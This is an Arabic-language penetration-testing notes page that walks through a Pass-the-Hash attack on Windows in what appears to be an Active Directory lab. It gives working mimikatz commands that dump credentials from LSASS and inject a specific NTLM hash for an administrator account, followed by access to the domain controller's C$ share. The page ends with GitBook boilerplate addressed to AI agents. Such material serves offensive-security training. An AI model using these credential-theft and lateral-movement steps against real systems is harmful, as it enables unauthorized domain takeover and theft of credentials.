> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/active-directory/lateral-movement/pass-the-hash-on-windows.md).

# Pass-the-Hash على Windows

إذا اتصل جهاز بمشاركة SMB باستخدام عنوان IP بدلًا من اسم المضيف، فغالبًا ما تتم المصادقة عبر NTLM.

مثال:

```powershell
dir //172.16.0.10/c$
```

<figure><img src="/files/9a49ee0ee5be4b10cdf5bd9006aea07a1944ee12" alt="" width="563"><figcaption></figcaption></figure>

{% hint style="info" %}
NTLM ‏(NT LAN Manager) هي مجموعة من بروتوكولات الأمان التي طورتها مايكروسوفت. وهي تتيح أساسًا للمستخدمين أن تتم المصادقة عليهم على شبكة حاسوب، أي التحقق من هويتهم عندما يحاولون الوصول إلى جهاز أو خادم أو مجلد مشترك. يعمل NTLM عبر تبادل معلومات مشفرة بين المستخدم والخادم لتجنب إرسال كلمة المرور مباشرة عبر الشبكة. وعلى الرغم من أنه استُخدم طويلًا في بيئات Windows، فإن هذا البروتوكول يتم الآن استبداله تدريجيًا بـ Kerberos، الذي يُعد أكثر أمانًا وكفاءة.
{% endhint %}

من `WS01`، نرى أن الوصول يعتمد على السياق المحمّل بالفعل في الذاكرة.

هنا، لا يُطلب أي تحقق جديد، لأن العملية تعيد استخدام الأسرار الموجودة بالفعل في `LSASS`.

```bash
 dir //172.16.0.10/c$
```

<figure><img src="/files/dd7d058053a843c190e15ccd3836583000707603" alt=""><figcaption></figcaption></figure>

يمكننا بعد ذلك حقن تجزئة NTLM لحساب آخر، على سبيل المثال `administrador`.

```bash
./mimikatz.exe

sekurlsa::logonpasswords
```

<figure><img src="/files/9e89c559c4c43f86f78ef3121607dfa3f1829a85" alt=""><figcaption></figcaption></figure>

مع `mimikatz`، نقوم بتنفيذ هجوم Pass-the-Hash.

```bash
sekurlsa::pth /user:administrador /domain:whoami.local /ntlm:a87f3a337d73085c45f9416be5787d86
```

تُفتح وحدة تحكم جديدة ضمن سياق هذا الحساب.

يمكننا بعد ذلك الوصول إلى موارد وحدة تحكم النطاق باستخدام هذه الهوية.

```powershell
dir //172.16.0.100/c$
```

<figure><img src="/files/e39c034694364d2233c9ba900ee0d674924d4dc1" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/active-directory/lateral-movement/pass-the-hash-on-windows.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
